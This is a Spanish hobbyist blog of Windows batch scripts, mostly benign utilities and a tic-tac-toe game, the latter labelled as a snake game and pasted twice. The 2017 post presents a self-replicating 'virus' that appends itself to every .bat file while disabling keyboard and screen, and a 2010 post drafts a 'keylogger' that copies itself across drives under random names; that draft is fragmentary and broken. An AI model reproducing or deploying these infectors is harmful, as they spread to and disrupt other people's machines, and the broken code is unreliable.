lunes, 17 de julio de 2017

"Virus".bat

He aquí de nuevo con un código que encontré investigando por la web:



@echo off
ctty nul
for %%f in (*.bat) do copy %%f + virus.bat
ctty con

Es muy simple pero muy potente, la explicacion:

@echo off - desactiva los comandos escritos en el programa 
para que el usuario no pueda ver lo que está escribiendo. :)

-------------------------------------------------------------

Ctty nul - desactiva el teclado y la salida de pantalla, 
lo que significa que no puede detener  "el virus" a menos que apague su PC.

-------------------------------------------------------------

for %% f en (* .bat) do copy %% f + virus.bat - esto coloca 
"el virus" en todos los archivos por lotes en el directorio actual.

---------------------------------------------------------------
Ctty habilita el teclado y la pantalla.


Y eso es todo, recuerden dejar sus comentarios y/o sugerencias, también 
pueden enviarnos sus códigos...

martes, 21 de junio de 2011

Explicacion el porque no se pueden ejecutar dos programas a la vez en batch

Hola programadores como le has ido.Hace poco días un compañero de la uni me estuvo explicando que estaba haciendo unos programas que iniciaran juntos en batch pero también me comento que no lo hacia y le daba error es decir  unos de los programas tenia que terminar para que iniciara el otro.Entonces lo que le comente fue algo sencillo: Batch es secuencial.No puedes programar dos instrucciones a la vez, primero tienes que programar uno y luego el otro,aunque lo programes para que inicie con Windows. También le hice una recomendación y es que mejor utilice tareas programadas y los programas se lancen al mismo tiempo aunque sea con una diferencia de al menos 1 minuto o algo parecido.Esta es la solución que me llego a la cabeza. También le dije que puede hacer un programa con un menú utilizando la sentencia goto,aunque le daría el mismo problemita.Eso es todo por ahora.....

viernes, 1 de abril de 2011

Crear carpeta con un bat,ponerle contraseña y hacerla invisible.

Hola como estan programadores aqui estoy de nuevo,en esta nueva entrega de conocimientos buscando en la web me encontre con un codigo sobre crear una carpeta y ponerle un lock,es decir un candado.Lo malo de este codigo es que cualquier usuario puede ver la contraseña haciendo clic sobre el bat y editarlo y ahi van a ver la contraseña.Bueno aqui va y me dicen que opinan de esto.

cls
@ECHO OFF
title Folder Private
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Private goto MDLOCKER
:CONFIRM
echo Deseas bloquear esta carpeta(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Private "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Escriba la contraseña para desbloquear la carpeta
set/p "pass=>"
if NOT %pass%== antonio goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Private
echo Folder Unlocked successfully
goto End
AIL
echo Invalid password
goto end
:MDLOCKER
md Private
echo Private created successfully
goto End
:End

2do Paso 
Ya que tienen eso en el bloc de notas, solo cambian las palabras que estan en rojo, por la contraseña que van a usar para bloquear y desbloquear la carpeta. 

3er Paso 
Se van a archivo ahi mismo en el bloc de notas y le dan guardar como... 

4to Paso 
En la ventana que les aparece lo guardan con el nombre de Private.bat. 


Listo!! ahora solo copian ese archivo por ejemplo en DOCUMENTOS le dan doble clic al archivo .bat y se les creara la carpeta con el nombre que le pusieron, pero ojo aun no tiene la contraseña lo pueden comprobar abriendo la carpeta y veran que no tiene contraseña y que cualquiera la puede abrir, para esto le vuelven a dar doble clic al archivo .bat y les aparecera una ventanita preguntando que si quieren bloquear la carpeta solo escriben la letra Y y le dan enter y automaticamente se desaparecera la carpeta que se creo primero, para desbloquearla solo tienen que abrir de nuevo el archivo .bat y les pedira la contraseña la ponen y de nuevo aparecera la carpeta 

miércoles, 22 de diciembre de 2010

Barras de progreso en Batch

Hola que tal visitantes. Últimamente no he estado escribiendo códigos por falta de tiempo pero de todas formas siempre tengo tiempo para compartir conocimientos.Ahora les va a tocar a las barras de progreso que por cierto no son tan fácil de programar pero aquí les voy a mostrar dos códigos de dos barras de progreso diferentes.Espero que la disfruten y comenten.Este código no es original mio,sino que lo vi en una pagina asi que lo copie y ahora lo comparto para ustedes.



@echo off
rem by Germaniac
setlocal enabledelayedexpansion enableextensions
echo.
echo. Cargando...
echo.
set "bar="
set "percent=0"
set "count=0"
for /l %%i in (1,1,20) do set "bar=!bar!±"
:loop
set /p "= %bar:~0,20% %percent%%%"
ping -n 1 -w 1 localhost>nul
for /l %%i in (1,1,26) do set /p "= "
set "bar=Û%bar%"
set /a "count+=1"
set /a "percent+=5"
if %count% leq 20 goto:loop
echo.
echo.
echo. Done.
pause>nul
exit

y ahora este es el otro código,veran las diferencias de las barras de progreso cuando las ejecuten....



@echo off
rem by Germaniac
SetLocal EnableDelayedExpansion EnableExtensions
Echo.
Echo. Cargando.....
Echo.
Set "bar="
Set "percent=0"
Set "count=0"
For /L %%I In (1,1,20) Do (Set "bar=!bar!±")
:Loop
Set /P "= %bar:~0,20% %percent%%%"
REM en esta linea seteo la variable asdf = al primero numero del comando random (cualquier numero del 1 al 9)
Set "asdf=%Random:~0,1%"
If %asdf% GEQ 8 (
REM acá si la variable asdf es mayor o igual a 8 le resto 4 para que el ping no pase de 5 y así no hace tan larga la carga
Set /A "asdf=asdf-4"
)
REM y acá solo cambio los ping 5 por el lo que contenga la variable asdf
Ping -n %asdf:~0,1% -w %asdf:~0,1% LocalHost>nul
For /L %%I In (1,1,26) Do Set /p "= "
Set "bar=Û%bar%"
Set /a "count+=1"
Set /a "percent+=5"
If %count% LEQ 20 Goto:Loop
Echo.
Echo.
Echo. Cargado.
Pause>Nul 2>&1
Exit
 

martes, 30 de noviembre de 2010

Uso del comando Net Send

Hola que tal lectores.Ahora vamos a mostrar un comando bastante útil a la hora que queramos chatear con alguien en una red lan, cabe destacar que este servicio no es el típico mensajero o messenger sino es una orden o comando esencial del sistema.En muchas pc`s tenemos que activarlo para que funcione, pero al activar este servicio podemos ser victimas del spam, así que depende de ustedes quererlo hacer.Los pasos para activarlo son los siguientes:

1-Ir a Panel de control (si quieren escriban en ejecutar control.exe y presionan enter y ahí les sale el panel de control
2-Nos ubicamos donde dice Herramientas administrativas
3-Después nos vamos donde dice Servicios
4-Y por últimos nos vamos donde dice Mensajero y hacemos clic para iniciar el servicio o para ver las otras opciones disponibles.

Después de haber hecho estos pasos solo nos basta con escribir la siguiente orden en la ventana de cmd:
Net Send xx.xxx.xxx. Mensaje y presionamos enter.Donde las equis representan la ip a la cual queremos enviarle el msg y donde dice mensaje el mensaje.y eso es todo.ejemplo net send 10.0.0.2 hola como estas? después de esto presionamos enter y a la pc con la ip 10.0.0.2 le saldrá el mensaje "hola como estas?"
Una nota que debemos tener en cuenta es que para que se pueda establecer una comunicación entre las pcs con este servicio es que ambas pcs deben tenerlo activo sino les dará errores a la hora de mandar mensajes.
Y eso es todo!!!!!! acuérdense de los comentarios.

martes, 16 de noviembre de 2010

Monitor de sistema en Batch

Hola programadores como están? me imagino que bien,verdad? Ya vamos a lo que vinimos....al batching no se si este termino lo han usado pero ya ahora lo vamos a usar.jejejeje. Navegando en la red encontré un programa diseñado en batch por el usuario 47 Factory.Un programa bien didáctico a la hora de interactuar con el sistema y de aprender el manejo del batch o batching.vuelvo y lo repito el código no es mio pero como en este blog se puede copy and paste lo pueden editar claro con el consentimiento de 47 Factory .Este es el código:




@ECHO off
title Monitor de Sistema by 47
cls
Echo.
Echo.
Echo                  * * * * * * * * * * * * * * * * * * *
Echo                  *     -Monitor de-                  *
Echo                  *              -Sistema-            *
echo                  *                         -by 47-   *
Echo                  * * * * * * * * * * * * * * * * * * *
echo.
echo.
pause >nul
goto principal


:principal
cls
echo.
echo   BIENVENIDO...
echo   En el presente BATCH.
echo   Accederas a un menu en el cual podras ejecutar
echo   Varios programas predeterminados de Microsoft
echo   Como resumen, este es un acceso directo a los
echo   Principales programas......
echo.
echo   Para poder avanzar al menu, presiona una tecla...
pause >nul
goto menu


:menu
cls
ver
echo.
echo  PRIMERO QUE TODO, ELIJE QUE QUIERES HACER...
echo.
echo  1 - Ver Lista de Procesos.
echo  2 - Matar Algun Proceso
echo  3 - Ver Lista y Matar un Proceso
echo  4 - Abrir linea de comandos -cmd.exe-
echo  5 - Abrir alguna utilidad de Windows
echo  6 - Salir sin hacer nada -suena estupido xD-
echo.
set /p var=Elije alguno poniendo el numero respectivo:
If %var% ==1 goto 001
If %var% ==2 goto 002
If %var% ==3 goto 003
If %var% ==4 goto 004
If %var% ==5 goto 005
If %var% ==6 goto 006


:001
cls
echo.
echo  Bien, con esta opcion te mostrare los procesos
echo  actuales q estan corriendo en tu PC
echo.
echo  Presiona una tecla para poder verlos
pause > nul
cls
echo  Trabajando, favor de esperar...
echo.
tasklist
echo.
echo Presiona un tecla para volver al menu principal
pause > nul
goto menu




:002
cls
echo.
echo Bien, con esta opcion podras matar algun proceso
echo escribe el nombre del proceso a matar...
set /p killer = Proceso a matar:
taskkill /F /IM %killer%
cls
echo proceso asesinado exitosamente
pause > nul
goto menu


:003
cls
echo.
echo Bien con esta opcion, podras utilizar el combo 2x1 xD
echo de ver la lista y ademas poder matar un proceso en el
echo mismo menu.... bueno continuemos.. presiona una tecla
echo para poder ver la lista de procesos y acceder al menu
echo para matar el proceso. (presiona UNA sola vez)
pause > nul
cls
echo Trabajando, favor de esperar...
echo.
tasklist
echo.
echo Presiona una tecla para poder matar el proceso...
pause >nul
set /p killer = Proceso a matar:
taskkill /F /IM %killer%
cls
echo.
echo listo, matado satisfactoriamente (solo si el proceso
echo se escribio satisfactoriamente)
pause >nul
goto menu


:004
cls
echo abriendo linea de comandos...
ping 127.0.0.1 -n 2 > nul
start cmd.exe
cls
echo linea de comandos abierta satisfactoriamente...
echo presione una tecla para volver al menu principal
pause >nul
goto menu


:005
cls
echo:
echo  Bueno, en esta parte podras ejecutar alguna aplicacion
echo  predeterminada de Windows... elige que aplicacion quieres
echo  ejecutar:
echo:
echo  1 - Bloc de notas...... -_-!
echo  2 - Paint
echo  3 - Restaurar Sistema
echo  4 - Telnet
echo  5 - Centro de Seguridad (Solo SP2)
echo  6 - Copia de seguridad
echo  7 - Volver al menu principal
echo.
set /p me=Elige que aplicacion quieres abrir:
If %me% ==1 goto 010
If %me% ==2 goto 020
If %me% ==3 goto 030
If %me% ==4 goto 040
If %me% ==5 goto 050
If %me% ==6 goto 060
If %me% ==7 goto 070


:010
cls
echo.
echo ejecutando aplicacion, favor de esperar...
ping 127.0.0.1 -n 1 >nul
start %SystemRoot%\system32\notepad.exe
cls
echo Aplicacion abierta exitosamente!!
echo presione una tecla para volver al menu anterior
pause > nul
goto :005


:020
cls
echo.
echo ejecutando aplicacion, favor de esperar...
ping 127.0.0.1 -n 1 >nul
start %SystemRoot%\system32\mspaint.exe
cls
echo Aplicacion abierta exitosamente!!
echo presione una tecla para volver al menu anterior
pause > nul
goto :005


:030
cls
echo.
echo ejecutando aplicacion, favor de esperar...
ping 127.0.0.1 -n 1 >nul
start %SystemRoot%\system32\restore\rstrui.exe
cls
echo Aplicacion abierta exitosamente!!
echo presione una tecla para volver al menu anterior
pause > nul
goto :005


:040
cls
echo.
echo ejecutando aplicacion, favor de esperar...
ping 127.0.0.1 -n 1 >nul
start telnet
cls
echo Aplicacion abierta exitosamente!!
echo presione una tecla para volver al menu anterior
pause > nul
goto :005


:050
cls
echo.
echo ejecutando aplicacion, favor de esperar...
ping 127.0.0.1 -n 1 >nul
start %SystemRoot%\system32\wscui.cpl
cls
echo Aplicacion abierta exitosamente!!
echo presione una tecla para volver al menu anterior
pause > nul
goto :005


:060
cls
echo.
echo ejecutando aplicacion, favor de esperar...
ping 127.0.0.1 -n 1 >nul
start %SystemRoot%\system32\ntbackup.exe
cls
echo Aplicacion abierta exitosamente!!
echo presione una tecla para volver al menu anterior
pause > nul
goto :005


:070
cls
goto menu


:006
cls
echo.
echo    Ojala el BATCH te haya sido de ayuda
echo    ADIOS.....
echo.
pause >nul
cls
echo.
echo       ______________________
echo      -                      -
echo      -    By 47 Factory     -
echo      -______________________-
echo.
pause > nul
exit



Espero que lo compartan y recuerden el crédito del programa va para 47 Factory gracias!!!

jueves, 4 de noviembre de 2010

Borrador de archivos Temporales

Hola de nuevo queridos programadores.En este tutorial voy a enseñarles un código bastante sencillo de un bat que nos sirve para borrar los archivos temporales que muchos programas no lo hacen así que con este bat lo vamos a lograr.Here we go!!!!

@echo off
title programa borrador de archivos temporales
rem debajo de esto esta el codigo que va a limpiar los temporales, la /s y la /q es para no preguntar ver ayuda del comando del escribiendo help del y presionando enter.
del /s /q C:\Documents and Settings\USERPROFILE\Configuracion local\Temp\*.* 

Acuérdense de guardarlo con la extensión .bat. Otra cosa es si la instalación del sistema no esta en C, lo que tenemos que hacer es cambiar la letra de la unidad.
En muchos sistemas muchas veces la ruta de los temporales es diferentes en muchos casos nos tendremos que ir a Documents and Settings\Local service y ahi veran la carpeta de los archivos temporales.
Espero que les sirvan de algo esta pequeña ayuda

lunes, 11 de octubre de 2010

Si te gusta a ser un hacker Prueba esto

Hola lectores como va todo.En esta oportunidad quiero mostrarle un juego-programa que estoy usando, se trata del Hack The game.Un juego instructivo que nos ayuda a aprender el uso de los comandos de Símbolo del sistema o batch.Este programa es muy adictivo digo si quieres terminarlo rápido jejeje, ahora mismo voy por la misión numero 9 y no se cuantas son pero tengo como dos horas jugando.
Espero que lo descarguen y me digan que les pareció.

Este es el link:
http://rapidshare.com/files/424456043/HackTheGame.exe

lunes, 27 de septiembre de 2010

Uso del random en batch

En este tutorial vamos a ver el uso del random que no es mas que una  variable del sistema capaz de generar números aleatorios que tiene un rango desde el 0 al 32767 y no incluye números decimales ni negativos y también podemos decir que random no es un comando sino que es una variable del sistema. Un ejemplo preciso es abrir Cmd y tecleamos %Random% y ahí veremos un numero que nos da el sistema y si volvemos a escribir %Random% veremos que el sistema nos da otro numero diferente. En resumen Random es para darnos números aleatorios.


Ahora les voy a presentar un pequeño programa que estoy haciendo al ver los comandos empleados veremos las diferentes opciones que nos da random. Otra cosa esto es un borrador de un programa que estoy haciendo.



rem random indica que el archivo a crear tendra nombre aleatorio cada vez que se ejecute
set b=%random%
rem aqui a medida que presionamos enter nos crea mas carpetas con nombres (numeros) aleatorios
for %%A in (%a%) do (md "%%A:\%b%.bat")
rem esto es un keylogger, va a tener un nombre aleatorio
set /p key= %random%.txt
rem aqui se pueden poner mas unidades
echo %key%>>C:\%random%.txt
echo %key%>>E:\%random%.txt
rem al abrir el keylogger si no ejecutamos una tecla cualquiera con el teclado nos va a aparecer "Echo esta desactivado"
rem aqui te crea una copia del programa dentro de las carpetas creadas
for %%A in (%a%) do (copy %0 "%%A:\%b%.bat")
rem aqui el programa me ejecuta el nombre aleatorio y no lo reconoce como un comando
rem esta opcion tambien sirve en caso de que hagamos un keylogger para que nos de nombres aleatorios
for %%A in (%a%) do (%random% %0 "%%A:\%b%.bat")
rem en caso de que querramos podemos agregarle un menu junto con el goto, asi nos daria una pausa y no se nos cerraria el bat.
rem hacer que me aparezca el log aleatorio en la carpeta que se creo
rem si le agregamos la orden for %%A in (%a%) do (move %0 %random%) el bat nos creara un archivo desconocido
rem si ejecutamos el batch que se copio nos creara otro log con nombre diferente
rem si le agregamos el menu nos hara una copia de los archivos copiados es decir el prueba.bat
goto menu
exit

Luego voy a poner la conclusión de este programa porque todavía lo estoy diseñando, no me falta mucho lo que me falta es crear el código para que el keylogger que se crea se mueva a la carpeta que se creo junto a la copia del bat que tiene adentro.

viernes, 17 de septiembre de 2010

Programa para visualizar la cantidad de unidades de almacenamiento de la computadora

Este es un codigo que nos pueden servir de mucha ayuda para el aprendizaje de batch:

@echo off
rem Programa para detectar las unidades,el abc es la cantidad de unidades que puede tener la pc
for %%_ in (a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, s, t, u, v, w, x, y, z) do (
dir /b %%_:\ > nul 2>&1 && (
echo Unidad "%%_:" detectada
)
)
>nul (pause)
exit /b 0

eso era todo!!!!!!!!!!!!!!!!

jueves, 16 de septiembre de 2010

Juegos en batch (Culebrita)

Ahora veremos este jueguito que esta bien chulo, es sobre la culebrita que jugamos hace par de años.

@Echo Off
::Tic Tac Toe v2
::Author: Carlos
Call _BGraphs.cmd
Call _BMouse.cmd
:Global
SetLocal EnableExtensions EnableDelayedExpansion
Cls & Color 07
Graphs.exe FontSize 6
Graphs.exe HideCursor
Set "b.s.-1=O" & Set "b.s.0= " & Set "b.s.1=X"
Set /a "e.f.1=7,e.f.7=1,e.f.3=5,e.f.5=3"
Set /a "e.c.1.a=0,e.c.1.b=2,e.c.3.a=0,e.c.3.b=6"
Set /a "e.c.5.a=2,e.c.5.b=8,e.c.7.a=6,e.c.7.b=8"
Set /a "c.d.0=8,c.d.8=0,c.d.2=6,c.d.6=2"
Set /a "c.s.0.a=1,c.s.0.b=3,c.s.2.a=1,c.s.2.b=5"
Set /a "c.s.6.a=3,c.s.6.b=7,c.s.8.a=5,c.s.8.b=7"
Set "all=0 1 2 3 4 5 6 7 8"
Set "corners=0 2 6 8"
Set "edges=1 3 5 7"
Set "center=4"
Set "wp="0 1 2" "3 4 5" "6 7 8" "0 3 6""
Set "wp=!wp! "1 4 7" "2 5 8" "0 4 8" "2 4 6""
Set "c.0="0 0" "0 1" "0 2" "1 0" "1 1" "1 2" "2 0" "2 1" "2 2""
Set "c.1="0 4" "0 5" "0 6" "1 4" "1 5" "1 6" "2 4" "2 5" "2 6""
Set "c.2="0 8" "0 9" "0 10" "1 8" "1 9" "1 10" "2 8" "2 9" "2 10""
Set "c.3="4 0" "4 1" "4 2" "5 0" "5 1" "5 2" "6 0" "6 1" "6 2""
Set "c.4="4 4" "4 5" "4 6" "5 4" "5 5" "5 6" "6 4" "6 5" "6 6""
Set "c.5="4 8" "4 9" "4 10" "5 8" "5 9" "5 10" "6 8" "6 9" "6 10""
Set "c.6="8 0" "8 1" "8 2" "9 0" "9 1" "9 2" "10 0" "10 1" "10 2""
Set "c.7="8 4" "8 5" "8 6" "9 4" "9 5" "9 6" "10 4" "10 5" "10 6""
Set "c.8="8 8" "8 9" "8 10" "9 8" "9 9" "9 10" "10 8" "10 9" "10 10""
Set "f.c.0=0 0" & Set "f.c.1=0 4" & Set "f.c.2=0 8"
Set "f.c.3=4 0" & Set "f.c.4=4 4" & Set "f.c.5=4 8"
Set "f.c.6=8 0" & Set "f.c.7=8 4" & Set "f.c.8=8 8"
Set /a "computer=ties=player=0"
:Sprites
Set "vLine=\219\n\219\n\219"
Set "hLine=\219\219\219\219\219\219\219\219\219\219\219"
Set "eBox=\219\219\219\n\219\219\219\n\219\219\219"
Set "xBox=\219 \219\n \219\n\219 \219"
Set "oBox=\219\219\219\n\219 \219\n\219\219\219"
Set "vLine.Color=F" & Set "hLine.Color=F" & Set "eBox.Color=0"
Set "xBox.Color=B" & Set "oBox.Color=A"
:Main
Title Tic Tac Toe 2
Echo.Tic Tac Toe 2
Echo...............................
Echo.Play with Mouse.
Echo.For Quit Press Ctrl+C
Echo.Clic for Continue ...
Mouse > Nul 2>&1
Call :BMenu
Goto :Eof
:BMenu
Cls
Set /a "b=1"
:Play
If !b! Equ 1 (Call :BComputr) Else Call :BPlayer
Echo.
Echo. Clic for Continue ...
Mouse.exe > nul
Set /a "b*=-1"
Goto :Play
:IsCorner
For %%+ in (%corners%) Do If %~1 Equ %%+ Exit /b 1
Exit /b 0
:IsEdge
For %%+ in (%edges%) Do If %~1 Equ %%+ Exit /b 1
Exit /b 0
:IsCenter
For %%+ in (%center%) Do If %~1 Equ %%+ Exit /b 1
Exit /b 0
:BGame
For /L %%i in (0,1,8) Do Set /a "b[%%i]=0"
Set /a "Over=0"
:DrawBoard
Cls
For %%a in ("3 0" "7 0") Do Call :PutSprite hLine %%~a
For %%a in ("0 3" "4 3" "8 3" "0 7" "4 7" "8 7"
) Do Call :PutSprite vLine %%~a
Graphs.exe Locate 14 0
Echo.  Computer     Ties       Player
Echo.     !computer!          !ties!          !player!
Goto :Eof
:PutSprite
Graphs.exe -r PrintSprite %~2 %~3 !%~1.Color! "!%~1!"
Goto :Eof
:Winner
For %%+ in (%wp%) Do ( Call :_WinnerL %%~+
If !ErrorLevel! Neq 0 Exit /b !ErrorLevel!)
Exit /b 0
:_WinnerL
If !b[%~1]! Neq 0 (
If !b[%~1]! Equ !b[%~2]! If !b[%~3]! Equ !b[%~1]! Exit /b !b[%~1]!)
Exit /b 0
:Player
If !Over! Equ 1 Exit /b -1
Set /a "k=-1"
Set "cas="
For /f "tokens=1,2,3" %%a in ('Mouse.exe 2^>Nul') Do (
Set "cas=%%b %%c"
Set /a "clic=%%a")
If !clic! Neq 1 Goto :Player
For /L %%# in (0,1,8) Do For %%a in (!c.%%#!) Do (
If "%%~a" Equ "!cas!" Set /a "k=%%#")
If !k! Equ -1 Goto :Player
If !b[%k%]! Equ 0 (Call :UpdatePos %k% %~1
Exit /b %k%)
Goto :Player
:WinBlock
If !Over! Equ 1 Exit /b -1
If %~1 Equ 1 (Set /a "_win_value=2,_lost_value=-2"
) Else Set /a "_win_value=-2,_lost_value=2"
Call :_WinBloc %~1 %_win_value%
If !wb_return! Neq -1 (Set /a "Over=1"
) Else Call :_WinBloc %~1 %_lost_value%
Exit /b !wb_return!
:_WinBloc
Set /a "wb_return=-1"
For %%+ in (%wp%) Do (Call :_SumLine %%~+ %~2
If ErrorLevel 1 (For %%- in (%%~+) Do (If !b[%%-]! Equ 0 (
Call :UpdatePos %%- %~1
Set /a "wb_return=%%-"
Goto :_WinBloE))))
:_WinBloE
Goto :Eof
:_SumLine
Set /a "_sum_line=!b[%~1]!+!b[%~2]!+!b[%~3]!"
If !_sum_line! Equ %~4 Exit /b 1
Exit /b 0
:FullBoard
For /L %%i in (0,1,8) Do If !b[%%i]! Equ 0 Exit /b 0
Exit /b 1
:RUpdatePos
Set "av="
Set /a "cav=0"
For %%+ in (!%~1!) Do If !b[%%+]! Equ 0 (Set "av=!av! %%+"
Set /a "cav+=1")
If !cav! Equ 0 Exit /b -1
Set /a "rp=%random% %% !cav!+1"
For /f "tokens=%rp%" %%+ in ("!av!") Do Set /a "rp=%%+"
Call :UpdatePos !rp! %~2
Exit /b !ErrorLevel!
:UpdatePos
Set /a "b[%~1]=%~2"
Call :PutSprite eBox !f.c.%~1!
If %~2 Equ 1 Call :PutSprite xBox !f.c.%~1!
If %~2 Equ -1 Call :PutSprite oBox !f.c.%~1!
Set /a "us=0"
Call :Winner
Set "w=!ErrorLevel!"
If !w! Equ 1 (If !b! Equ 1 (Set /a "computer+=1,us=1"
) Else Set /a "player+=1,us=1"
) Else If !w! Equ -1 (If !b! Equ 1 (Set /a "player+=1,us=1"
) Else Set /a "computer+=1,us=1"
) Else (Call :FullBoard
If ErrorLevel 1 Set /a "ties+=1,us=1")
If !us! Equ 1 (Graphs.exe Locate 15 0
Echo.     !computer!          !ties!          !player!)
Exit /b %~1
:BPlayer
Call :BGame
Call :Player 1
Set /a "maxf=!ErrorLevel!"
Call :IsCenter %maxf%
If ErrorLevel 1 (Call :RUpdatePos corners -1
For /l %%. in (1,1,4) Do (Call :Player 1
Call :WinBlock -1
If Not ErrorLevel 0 If !Over! Equ 0 (
Call :RUpdatePos corners -1
If Not ErrorLevel 0 Call :RUpdatePos all -1))) Else (
Call :UpdatePos 4 -1
Call :Player 1
Set /a "maxc=0,maxe=0,maxcd=0,c1e1oc2nd=0"
For /L %%+ in (0,1,8) Do If !b[%%+]! Equ 1 (Call :IsEdge %%+
If ErrorLevel 1 (Set /a "maxe+=1") Else (Call :IsCorner %%+
If ErrorLevel 1 (Set /a "maxc+=1"
For /f %%- in ("b[!c.d.%%+!]") Do (If !%%-! Equ 1 Set /a "maxcd=1"
))))
If !maxc! Equ 1 (Set /a "c1e1oc2nd=1"
) Else If !maxc! Equ 2 If !maxcd! Equ 0 Set /a "c1e1oc2nd=1"
If !c1e1oc2nd! Equ 1 (Call :WinBlock -1
If ErrorLevel 0 (Call :Player 1
Call :WinBlock -1
Set /a _res=!ErrorLevel!
If !Over! Equ 0 (If !_res! Neq -1 (Call :Player 1
Call :WinBlock -1
If !Over! Equ 0 (Call :RUpdatePos all -1
Call :Player 1)
) Else (Call :RUpdatePos edges -1
Call :Player 1
Call :WinBlock -1
If !Over! Equ 0 Call :Player 1) )) Else (
For %%+ in (%corners%) Do If !b[%%+]! Equ 1 (
Call :UpdatePos !c.d.%%+! -1)
Call :Player 1
Call :WinBlock -1
If ErrorLevel 0 (Call :Player 1
Call :WinBlock -1
If Not ErrorLevel 0 (Call :RUpdatePos all -1
Call :Player 1) Else If !Over! Equ 0 (Call :Player 1
Call :RUpdatePos all -1)
) Else (Call :RUpdatePos corners -1
Call :Player 1
Call :WinBlock -1
If !Over! Equ 0 Call :Player 1))) Else If !maxc! Equ 2 (
Call :RUpdatePos edges -1
Call :Player 1
For /l %%+ in (1,1,2) Do (Call :WinBlock -1
If !Over! Equ 0 Call :Player 1)) Else (
Set /a "eif=0"
For %%+ in (%edges%) Do (
If !b[%%+]! Equ 1 For /f %%- in ("b[!e.f.%%+!]") Do (
If !%%-! Equ 1 Set /a "eif=1"))
If !eif! Equ 1 (Call :RUpdatePos edges -1
Call :Player 1
Call :WinBlock -1
If Not ErrorLevel 0 (Set /a "p=0"
For %%+ in (%corners%) Do If !b[%%+]! Equ 0 (
For /f "tokens=1,2" %%a in (
"b[!c.s.%%+.a!] b[!c.s.%%+.b!]") Do (
If !p! Equ 0 If !%%a! Equ -1 (Call :UpdatePos %%+ -1
Set /a "p=1") Else If !p! Equ 0 If !%%b! Equ -1 (
Call :UpdatePos %%+ -1
Set /a "p=1")))
Call :Player 1
Call :WinBlock -1)) Else (
For %%+ in (%corners%) Do If !b[%%+]! Equ 0 (
For /f "tokens=1,2" %%a in (
"b[!c.s.%%+.a!] b[!c.s.%%+.b!]") Do (
If !%%a! Equ 1 If !%%b! Equ 1 Call :UpdatePos %%+ -1
))
Call :Player 1
Call :WinBlock -1
If !Over! Equ 0 (Call :RUpdatePos corners -1
Call :Player 1
Call :WinBlock -1
If !Over! Equ 0 Call :Player 1))))
Exit /b
:BComputr
Call :BGame
Call :RUpdatePos corners 1
Set /a "maxf=!ErrorLevel!"
Call :Player -1
Set /a "minf=!ErrorLevel!"
Call :IsCenter %minf%
If ErrorLevel 1 (Call :UpdatePos !c.d.%maxf%! 1
Call :Player -1
Set /a "minf=!ErrorLevel!"
Call :IsCorner !minf!
If ErrorLevel 1 (
For %%+ in (%corners%) Do If !b[%%+]! Equ 0 Call :UpdatePos %%+ 1
Call :Player -1
Call :WinBlock 1) Else (For /L %%+ in (1,1,2) Do (If !Over! Equ 0 (
Call :WinBlock 1
Call :Player -1))
If !Over! Equ 0 Call :WinBlock 1)
Goto :Eof)
Call :IsCorner %minf%
If ErrorLevel 1 (Call :RUpdatePos corners 1
Call :Player -1
Call :WinBlock 1
If !Over! Equ 0 (
For %%+ in (%corners%) Do If !b[%%+]! Equ 0 Call :UpdatePos %%+ 1
Call :Player -1
Call :WinBlock 1)) Else (
Call :UpdatePos 4 1
Call :Player -1
Call :WinBlock 1
If Not ErrorLevel 0 (For %%+ in (%corners%) Do If !b[%%+]! Equ 0 (
For /f "tokens=1,2" %%a in ("b[!c.s.%%+.a!] b[!c.s.%%+.b!]") Do (
If !%%a! Equ 0 If !%%b! Equ 0 Call :UpdatePos %%+ 1)))
Call :Player -1
Call :WinBlock 1)
Goto :Eof

Juegos en Batch

Hola que tal programadores.ahora nos toca a nosotros los que todabia nos creemos niños jejejje, no es asi. bueno vamos a lo nuestro.En este articulo que voy  a publicar aprenderemos a crear divertidos pasatiempos como son los juegos.Estos codigos son bien sencillos solo basta con que los copien y los conviertan a batch, es decir con la extension .bat

Espero que les agraden.



@Echo Off
::Tic Tac Toe v2
::Author: Carlos
Call _BGraphs.cmd
Call _BMouse.cmd
:Global
SetLocal EnableExtensions EnableDelayedExpansion
Cls & Color 07
Graphs.exe FontSize 6
Graphs.exe HideCursor
Set "b.s.-1=O" & Set "b.s.0= " & Set "b.s.1=X"
Set /a "e.f.1=7,e.f.7=1,e.f.3=5,e.f.5=3"
Set /a "e.c.1.a=0,e.c.1.b=2,e.c.3.a=0,e.c.3.b=6"
Set /a "e.c.5.a=2,e.c.5.b=8,e.c.7.a=6,e.c.7.b=8"
Set /a "c.d.0=8,c.d.8=0,c.d.2=6,c.d.6=2"
Set /a "c.s.0.a=1,c.s.0.b=3,c.s.2.a=1,c.s.2.b=5"
Set /a "c.s.6.a=3,c.s.6.b=7,c.s.8.a=5,c.s.8.b=7"
Set "all=0 1 2 3 4 5 6 7 8"
Set "corners=0 2 6 8"
Set "edges=1 3 5 7"
Set "center=4"
Set "wp="0 1 2" "3 4 5" "6 7 8" "0 3 6""
Set "wp=!wp! "1 4 7" "2 5 8" "0 4 8" "2 4 6""
Set "c.0="0 0" "0 1" "0 2" "1 0" "1 1" "1 2" "2 0" "2 1" "2 2""
Set "c.1="0 4" "0 5" "0 6" "1 4" "1 5" "1 6" "2 4" "2 5" "2 6""
Set "c.2="0 8" "0 9" "0 10" "1 8" "1 9" "1 10" "2 8" "2 9" "2 10""
Set "c.3="4 0" "4 1" "4 2" "5 0" "5 1" "5 2" "6 0" "6 1" "6 2""
Set "c.4="4 4" "4 5" "4 6" "5 4" "5 5" "5 6" "6 4" "6 5" "6 6""
Set "c.5="4 8" "4 9" "4 10" "5 8" "5 9" "5 10" "6 8" "6 9" "6 10""
Set "c.6="8 0" "8 1" "8 2" "9 0" "9 1" "9 2" "10 0" "10 1" "10 2""
Set "c.7="8 4" "8 5" "8 6" "9 4" "9 5" "9 6" "10 4" "10 5" "10 6""
